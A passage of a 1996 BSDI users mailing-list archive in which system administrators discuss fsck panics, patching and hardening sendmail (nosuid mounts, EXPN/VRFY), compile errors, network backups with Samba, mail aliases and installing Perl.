this feature encourages -- nay, forces -- them to make insecure applications. I'm sure there are environments when nosuid is the right thing to do, but "definately a GOOD idea"? It's not so simple. [Standard disclaimer: These are my private opinions] From VM Tue Nov 19 20:18:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1026" "Mon" "18" "November" "1996" "23:31:56" "-0500" "Evan Champion" "evanc@synapse.net" nil "29" "Re: panic: ffs_valloc: dup alloc" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA00417 for ; Mon, 18 Nov 1996 23:30:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA07379 for bsdi-users-outgoing; Mon, 18 Nov 1996 23:32:06 -0500 (EST) In-Reply-To: <2.2.32.19961118234621.006ba164@rockisland.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: panic: ffs_valloc: dup alloc Date: Mon, 18 Nov 1996 23:31:56 -0500 (EST) You need to fsck the drive. Unmount the disk, fsck until no more errors are reported (sometimes it won't catch them all the first time, so it might take a second run... If you've got a huge disk that will take an hour to fsck, once will do), and then remount the disk and move on with life. Evan On Mon, 18 Nov 1996, Mike Greene wrote: > My otherwise extremely stable news server started crashing today with these > errors each time, > > mode = 0100664, inum = 100108, fs = /usr/var/news > panic: ffs_valloc: dup alloc > syncing disks... 95 95 92 84 67 42 19 1 1 1 1 1 1 1 1 1 1 1 1 1 giving up > > start = 0, len = 2, fs = /usr/var/news > panic: ffs_alloccg: map corrupted > syncing disks... 42 41 38 29 16 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 giving up > > I checked Nexial for pointers but found none, anybody have any suggestions > for what to check? -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Tue Nov 19 20:18:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1141" "Tue" "19" "November" "1996" "00:12:16" "-0500" "mjastrem@thunder.ocis.temple.edu" "mjastrem@thunder.ocis.temple.edu" nil "36" "Re: Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA01582 for ; Tue, 19 Nov 1996 00:17:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA07520 for bsdi-users-outgoing; Tue, 19 Nov 1996 00:12:29 -0500 (EST) In-Reply-To: <199611190230.VAA19735@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M." Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: bsdi-users@BSDI.COM Subject: Re: Sendmail: Patch and a problem Date: Tue, 19 Nov 1996 00:12:16 -0500 (EST) On Mon, 18 Nov 1996, Jim Cassata wrote: > I am kinda new to this kind of thing. What do I do with this? > I have sendmail 8.8.2 un-tarred and ready to 'makesendmail' > would I call this, say sendmailpatch, drop it into my src directory > then sh sendmailpatch? Any help would be ppreciated, as always. get 8.8.3 from ftp://ftp.sendmail.org/ucb/sendmail (i think =). otherwise save the file to 'smtpd.patch' , copy it to src/ and 'patch < smtpd.patch' . from the release notes, 8.8.3 has other fixes than this one . replacing your current sendmail probably (hopefully) wont hurt. on a side sendmail note, i noticed that our 2.1 box's sendmail configuration came from bsdi with 'expn' & 'vrfy' not disabled . changing Opauthwarnings in sendmail.cf to Opauthwarnings,noexpn,novrfy will disable those two, i think the option 'goaway' is probably more redundant, you may want to check the manual (no flames!). -Michael -- ( Michael Jastremski,) {| You can take the cat out of the |} ( mjastrem@Thunder.Temple.edu ) {| jungle but you can't take the |} ( http://newsroom.temple.edu ) {| jungle out of the cat. |} From VM Tue Nov 19 20:18:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1648" "Tue" "19" "November" "1996" "16:39:16" "+1100" "ian mcwilliam" "i.mcwilliam@st.nepean.uws.edu.au" nil "46" "Re: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd bug)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA02121 for ; Tue, 19 Nov 1996 00:36:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA07592 for bsdi-users-outgoing; Tue, 19 Nov 1996 00:38:51 -0500 (EST) X-Sender: ianm@mailkwd.st.nepean.uws.edu.au Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Sender: owner-bsdi-users@lists.gateway.com To: David Newall Cc: bsdi-users@BSDI.COM Subject: Re: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd bug) Date: Tue, 19 Nov 1996 16:39:16 +1100 >ian mcwilliam wrote: >> Having your users home directories on volumes that are nosuid >> would definately be a GOOD idea, but bsdi's default configuration isn't set >> up this way. > >But SUID programs are an integral part of Unix security and denying users >this feature encourages -- nay, forces -- them to make insecure applications. >I'm sure there are environments when nosuid is the right thing to do, but >"definately a GOOD idea"? It's not so simple. > > [Standard disclaimer: These are my private opinions] Yes, but allowing people access/create files that are suid in world readable / writable directories such as /tmp isn't such a good idea. you can still have everything you need that uses suid on volumes that are not world readable / writable. The average user does not need to play around with this functionality. Not all volumes have to be nosuid just the ones that users have read/write access to. Catch ya, ____________________________________________________________________________ Ian McWilliam. Technical Officer, Faculty of Science & Technology, Dept. of Computing. University of Western Sydney, NEPEAN. P.O.Box 10 Kingswood, N.S.W, Australia. 2560. (047) 360 757 ____________________________________________________________________________ People Get Lost in Thought 'cause it's Unknown Territory. CHIP - Found on the shoulders of Systems Support Personnel. It becomes Most evident when some fool claims that the computer has made a mistake!!!! ____________________________________________________________________________ E-Mail: ianm@st.nepean.uws.edu.au i.mcwilliam@st.nepean.uws.edu.au From VM Tue Nov 19 20:18:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["836" "Tue" "19" "November" "1996" "17:05:58" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "23" "Re: Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA02923 for ; Tue, 19 Nov 1996 01:10:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA07661 for bsdi-users-outgoing; Tue, 19 Nov 1996 01:06:43 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: "M." cc: Jim Cassata , bsdi-users@BSDI.COM Subject: Re: Sendmail: Patch and a problem Date: Tue, 19 Nov 1996 17:05:58 +1100 (EST) > on a side sendmail note, i noticed that our 2.1 box's sendmail > configuration came from bsdi with 'expn' & 'vrfy' not disabled . Why is having these _enabled_ bad? As long as we _don't_ have things like "all", "everyone" etc aliased to a complete list of all users, why is it bad to allow someone to verify a user exists? As a support person, I frequently get subscribers calling with mail problems like "I have an email address for {name} but it doesn't work". I'll telnet to the smtp port at the specified address and try either expn or vrfy {name}. If it works, I say "That's seems to be {full name}" - they are usually impresses, and I can then see what they are doing wrong at their end. If there is a problem, I'd like to know about it. If not, why do (some) people disable these (convenient) facilities? RossW From VM Tue Nov 19 20:18:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["683" "Tue" "19" "November" "1996" "01:04:36" "-0700" "Richard Ryan" "rryan@blackhills.com" nil "15" "Re:compile error(s): Found Answer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA08519 for ; Tue, 19 Nov 1996 03:26:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA09615 for bsdi-users-outgoing; Tue, 19 Nov 1996 03:04:43 -0500 (EST) Message-Id: <199611190804.BAA16910@bhost.blackhills.com> Comments: Authenticated sender is Organization: Internet Services of the Black Hills, Inc. MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Richard Ryan" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re:compile error(s): Found Answer Date: Tue, 19 Nov 1996 01:04:36 -0700 With regards to my last late night post I found what was causing this: > > > > domain.o: Undefined symbol ___res_query referenced from text segment > > domain.o: Undefined symbol ___res_search referenced from text segment > > domain.o: Undefined symbol ___dn_expand referenced from text segment Turns out something (improved/modified) resolv.h in my /usr/include. The new one does NOT define these as the old one does but redefines _res_query (as used in sendmail) to ___res___query (note __ change) without defining the new variable. Now to try and trace what program did it. I suspect the new bind I installed as it was linked to the new file. Any one else seen this? RR From VM Tue Nov 19 20:18:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2320" "Tue" "19" "November" "1996" "09:47:20" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "60" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA09328 for ; Tue, 19 Nov 1996 04:04:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA09666 for bsdi-users-outgoing; Tue, 19 Nov 1996 03:48:07 -0500 (EST) In-Reply-To: <199611181723.JAA18670@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Tue, 19 Nov 1996 09:47:20 +0100 (MET) Thank you all for all the ideas. These're very helpful for me. The only question is - permisions. How to preserve permisions through NFS during restoring backup. I currentlly use tar with these parameters to store the files I want to back up: tar cfp etc.tar /etc ... After that I store these files through NFS directly to the tape on my NT machine. This is useful as far as I don't want to backup the whole structure but only want to do an incremental backup. I'm not expirienced in backups at all so please do not throw tomatoes on me ;-). I could write some scripts by myself but I don'd want to brake the open door. So could you please help me to arrange such an incremental backup on these machines. I mean which software use for backup and restoring. Thanks in advance, Maciej Przybecki SYLABA Internet On Mon, 18 Nov 1996, Bill Webb wrote: > > I'm running BSDI 2.1 on Pentium 133/32MB RAM/2 GB SCSI HDD > > > > The second PC is Windows NT 3.51 Workstation. It has HP SureStore Tape 6000 > > streamer for backup purposes of course. > > > > We want to backup both machines on one tape. > > I need of course an incremental backup on my BSD machine > > and backup on Win NT. > > > > I'd like to ask for help someone with similiar problems. > > > > I'd suggest that you put the tape into an external box (if its not > already) and physically move it from one machine to the other. You > can get ISA SCSI adapters for less than $50 if you need an additional > one for the tape drive. > > Another alternaltive would be to get another BSD/OS license for > the Windows NT machine and run that for remote dumps from the > original BSD/OS machine. You could request permission from BSDI to > run BSD/OS temporarily for the purposes of doing dumps only under > your existing license. > > If you can't bring down the NT machine, you could probably use NFS > to mount the filesystems on the NT machine from the BSD/OS machine > and then use the NT dump program, but you'd probably use useful > attribute information (this would be mostly useful if the files > you are most interested in are user data files). > > Bill Webb. Telebit NetBlazer Software Development Group > Email: webb@telebit.com WWW: http://www.telebit.com/~webb > -- above opinions are my own, not necessarily those of my employer -- > > From VM Tue Nov 19 20:18:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1166" "Tue" "19" "November" "1996" "10:35:47" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "34" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA10662 for ; Tue, 19 Nov 1996 04:51:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA09727 for bsdi-users-outgoing; Tue, 19 Nov 1996 04:37:29 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Tue, 19 Nov 1996 10:35:47 +0100 (MET) I'd like to try Samba, but I don't know anything about it. Could you please send me some sample config liles Maciej Przybecki SYLABA Internet On Mon, 18 Nov 1996, Jeff Campbell wrote: > On Mon, 18 Nov 1996, Douglas Sand wrote: > > > This I am sure is NOT the only solution, but one I know will work. > > > > There is a program out there called samba (for UNIX). I have not had a > > chance to install it yet, but this is how it works (from what I understand): > > > > You install samba which will allow you to map the UNIX to any drive letter > > you like on either a lan connection or a dialup connection. Once you do > > that, you just back up on your NT machine, and pick up whatever drive you > > created...sounds simple enough. > > I have used Samba quite a bit, and it works very well. The major > problem being that you will have to map your entire system to dump > it to tape with this method. Regardless, Samba does work well and it > makes working with web pages much easier as you can save images etc from > your Win95/NT desktop directly to the server as if it were a local drive > under Win. > > > -- > Jeff > jacampbe@is2.dal.ca > > From VM Tue Nov 19 20:18:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["199" "Tue" "19" "November" "1996" "10:10:09" "+0000" "steve@prd.co.uk" "steve@prd.co.uk" nil "7" "samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA11211 for ; Tue, 19 Nov 1996 05:13:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id FAA09760 for bsdi-users-outgoing; Tue, 19 Nov 1996 05:11:31 -0500 (EST) Message-Id: <199611191010.KAA13564@fastnet.prd.co.uk> Company: Psychometric Research & Development Ltd Address: Brewmaster House, The Maltings, St Albans AL1 3HT, UK Phone: +44 1727 841455 Fax: +44 1727 847846 X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: steve@prd.co.uk Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: samba + WfWG3.11 Date: Tue, 19 Nov 1996 10:10:09 +0000 (GMT) I need some guidance (mostly on the WfWG side I think) getting samba to provide services to WfWG. Can someone spare the time for an email chat on the topic? -- Steve Blinkhorn From VM Tue Nov 19 20:18:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1154" "Tue" "19" "November" "1996" "11:31:28" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "41" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA12304 for ; Tue, 19 Nov 1996 05:54:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id FAA09814 for bsdi-users-outgoing; Tue, 19 Nov 1996 05:47:24 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: System Administrator - Greg Wiktor , "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Tue, 19 Nov 1996 11:31:28 +0100 (MET) I made an entry: tescik: :include:/etc/tescik in my /etc/aliases and run newaliases, where /etc/tescik includes names of test group of users, but e-mails disapear somewhere.. ;-( So it doesn't work? Maciej Przybecki On Thu, 14 Nov 1996 patrick@value.net wrote: > On Thu, 14 Nov 1996, System Administrator - Greg Wiktor wrote: > > > Hello there everyone... > > > > Does anyone know if it is possible to Mass E-Mail users or groups messages? > > Greg Wiktor Senior System Administrator > > Yes. In /etc/aliases add something like: > > group-to-mail: :include:/path-to-file > > Where file is a text file containing the names of users that you want to > mail to. > > Run newaliases > > Then simply fire up your mailer and address your mail to group-to-mail. > > /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > Patrick Greenwell (510) 943-5769 voice > Systems Administrator (510) 210-2000 modem > Value Net, Inc. (510) 943-1708 fax > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > > > > > > From VM Tue Nov 19 20:18:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1059" "Tue" "19" "November" "1996" "01:19:43" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "29" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA13116 for ; Tue, 19 Nov 1996 06:26:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA09866 for bsdi-users-outgoing; Tue, 19 Nov 1996 06:17:11 -0500 (EST) In-Reply-To: <328C9BE5.3828@ati.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: Mike Judge cc: Roch Pageau , bsdi-users@BSDI.COM Subject: Re: ps -aux bizareness Date: Tue, 19 Nov 1996 01:19:43 -1000 (HST) On Fri, 15 Nov 1996, Mike Judge wrote: > Roch Pageau wrote: > > > > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. > > When I try and kill it the system returns that it does not exist. It worries > > me because its running as root. Cannot find any reference in any of the log > > files. > > Any ideas appreciated????? > > > > USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND > > root 7356 0.0 0.0 220 12 p0 RV 31Dec69 0:00.00 (csh) > > root 0 0.0 0.0 0 0 ?? DLs Fri10AM 0:04.60 (swapper) > > root 1 0.0 0.3 144 256 ?? Is Fri10AM 0:31.67 /sbin/init -- > > root 2 0.0 0.0 0 12 ?? DL Fri10AM 0:00.01 (pagedaemon) Doesn't seem harmful ... but if you continue to do ps -aux | grep (user) repeatedly you'll see it increment the PID ... is this useful to solving the question? Maybe something to do with how ps -aux looks at the processes and what it sees for the shell that is calling it? -- Aloha from Paradise, Sherwood From VM Tue Nov 19 20:18:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1150" "Tue" "19" "November" "1996" "03:39:47" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "31" "Re:compile error(s): Found Answer" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA13653 for ; Tue, 19 Nov 1996 06:47:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA09917 for bsdi-users-outgoing; Tue, 19 Nov 1996 06:38:53 -0500 (EST) In-Reply-To: <199611190804.BAA16910@bhost.blackhills.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: Richard Ryan cc: bsdi-users@BSDI.COM Subject: Re:compile error(s): Found Answer Date: Tue, 19 Nov 1996 03:39:47 -0800 (PST) Yes. Similar problem on my SunOS 4.1.3_U1 (also running BIND 4.9.5_??) On Tue, 19 Nov 1996, Richard Ryan wrote: > With regards to my last late night post > I found what was causing this: > > > > > > domain.o: Undefined symbol ___res_query referenced from text segment > > > domain.o: Undefined symbol ___res_search referenced from text segment > > > domain.o: Undefined symbol ___dn_expand referenced from text segment > Turns out something (improved/modified) resolv.h in my /usr/include. > The new one does NOT define these as the old one does but redefines > _res_query (as used in sendmail) to > ___res___query (note __ change) without defining the new variable. Now > to try and trace what program did it. I suspect the new bind I > installed as it was linked to the new file. Any one else seen this? > RR > > -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Tue Nov 19 20:18:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["855" "Mon" "18" "November" "1996" "23:26:03" "-0500" "Todd Burroughs" "toddb@globalserve.net" nil "26" "Re: Sendmail: Mass E-Mailing users/groups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA16383 for ; Tue, 19 Nov 1996 08:25:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA10077 for bsdi-users-outgoing; Tue, 19 Nov 1996 08:23:23 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Todd Burroughs Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: System Administrator - Greg Wiktor , "bsdi-users@bsdi.com" Subject: Re: Sendmail: Mass E-Mailing users/groups Date: Mon, 18 Nov 1996 23:26:03 -0500 (EST) > > Does anyone know if it is possible to Mass E-Mail users or groups messages? > > Greg Wiktor Senior System Administrator > > Yes. In /etc/aliases add something like: > > group-to-mail: :include:/path-to-file > > Where file is a text file containing the names of users that you want to > mail to. > > Run newaliases I use this with a small script to generate the file: #!/bin/sh awk -F: '{ print $1 }' /etc/passwd | grep -vxFf ./exclude >/path-to-file This generate's a suitable list of all the users on the system, except those mentioned in the ./exclude file. (which has one name to a line) It could be refined to pick certain groups out of the password file, but this is intended for mailings to all users. You don't have to re-run "newaliases" whenever you rebuild the file either. Todd From VM Tue Nov 19 20:18:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["335" "Mon" "18" "November" "1996" "23:32:49" "-0500" "Todd Burroughs" "toddb@globalserve.net" nil "11" "Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA16669 for ; Tue, 19 Nov 1996 08:34:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA10083 for bsdi-users-outgoing; Tue, 19 Nov 1996 08:23:30 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Todd Burroughs Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@bsdi.com" Subject: Networked HP LaserJet 5m Date: Mon, 18 Nov 1996 23:32:49 -0500 (EST) Has anyone gotten a networked LaserJet 5m to work with BSDI? I've looked around Hewlett-Packard's site with no luck, and am getting really sick of using ftp from a windows machine to print something from BSD. It just doesn't seem right... I don't need fancy features, just printing text files would be really nice. Thanks, Todd From VM Tue Nov 19 20:18:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1584" "Tue" "19" "November" "1996" "09:44:46" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "50" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA16949 for ; Tue, 19 Nov 1996 08:45:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA10140 for bsdi-users-outgoing; Tue, 19 Nov 1996 08:46:20 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: MP cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Tue, 19 Nov 1996 09:44:46 -0400 (AST) On Tue, 19 Nov 1996, MP wrote: > I'd like to try Samba, but I don't know anything about it. > Could you please send me some sample config liles I would, but I don't have access to the server we have it on anymore as I recently left the company. However there is an excellent and comprehensive web site for the product. I don't have the address handy, but you can find it on yahoo do a search for samba and windows networking > > Maciej Przybecki > SYLABA Internet > > On Mon, 18 Nov 1996, Jeff Campbell wrote: > > > On Mon, 18 Nov 1996, Douglas Sand wrote: > > > > > This I am sure is NOT the only solution, but one I know will work. > > > > > > There is a program out there called samba (for UNIX). I have not had a > > > chance to install it yet, but this is how it works (from what I understand): > > > > > > You install samba which will allow you to map the UNIX to any drive letter > > > you like on either a lan connection or a dialup connection. Once you do > > > that, you just back up on your NT machine, and pick up whatever drive you > > > created...sounds simple enough. > > > > I have used Samba quite a bit, and it works very well. The major > > problem being that you will have to map your entire system to dump > > it to tape with this method. Regardless, Samba does work well and it > > makes working with web pages much easier as you can save images etc from > > your Win95/NT desktop directly to the server as if it were a local drive > > under Win. > > > > > > -- > > Jeff > > jacampbe@is2.dal.ca > > > > > -- Jeff jacampbe@is2.dal.ca From VM Tue Nov 19 20:18:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1372" "Mon" "18" "November" "1996" "23:37:18" "-0500" "Bryan Fullerton" "bryanf@home.samurai.com" nil "41" "Re: sendmail compile error(s)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA16954 for ; Tue, 19 Nov 1996 08:47:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA10117 for bsdi-users-outgoing; Tue, 19 Nov 1996 08:41:51 -0500 (EST) Message-Id: <199611190437.XAA09649@home.samurai.com> In-Reply-To: <199611190312.WAA19768@web-ex.com> from "Jim Cassata" at Nov 18, 96 10:12:59 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Bryan Fullerton Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com Cc: bsdi-users@BSDI.COM, eric@sendmail.org Subject: Re: sendmail compile error(s) Date: Mon, 18 Nov 1996 23:37:18 -0500 (EST) Initially I had the same problem, but only with sendmail 8.8.3, under BSD/OS 2.1. After running makesendmail, go into the obj.{arch} directory. Edit the Makefile, and add -lresolv to the LDADD= line, then run make in the obj directory. Worked perfectly for me. I thought I had to do this because I upgraded to bind 4.9.5, but it could be a generic BSD or BSD/OS problem. Bryan > > Hello > on compiling sendmail 8.8.2 and now 8.8.3 I get the following as the > makesendmail comes to an end: > > domain.o: Undefined symbol ___res_query referenced from text segment > domain.o: Undefined symbol ___res_search referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > domain.o: Undefined symbol ___res_init referenced from text segment > domain.o: Undefined symbol ___res_querydomain referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > domain.o: Undefined symbol ___dn_expand referenced from text segment > main.o: Undefined symbol ___res_init referenced from text segment *** Error > code 1 > > Any Ideas?? > > Thank you > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax > From VM Tue Nov 19 20:18:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["807" "Tue" "19" "November" "1996" "09:06:06" "-0400" "Martin Durand" "mdurand@cegep-ste-foy.qc.ca" nil "21" "Re: Perl 5.003 and BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA17783 for ; Tue, 19 Nov 1996 09:16:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA10166 for bsdi-users-outgoing; Tue, 19 Nov 1996 09:06:29 -0500 (EST) X-Sender: mdurand@mail.cegep-ste-foy.qc.ca Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: mdurand@cegep-ste-foy.qc.ca (Martin Durand) Sender: owner-bsdi-users@lists.gateway.com To: furlan@ibw.com.ni Cc: bsdi-users@lists.gateway.com Subject: Re: Perl 5.003 and BSDI Date: Tue, 19 Nov 1996 09:06:06 -0400 >I just download Perl 5.003 and I want to install this program in >bsdi. > >I would like to know what modification are necesary to install correctly >this program and substitute the old one. I just finished installing it myself. The only thing I did was specify /usr/contrib as the installation path instead of /usr/local. The Configure script recognizes bsd and supplies the correct answers to most questions. I did get a couple of WHOAs, but accepting the defaults resulted in a working binary. _____________________________________________________________________ Martin Durand Cegep de Sainte-Foy mdurand@cegep-ste-foy.qc.ca 2410, chemin 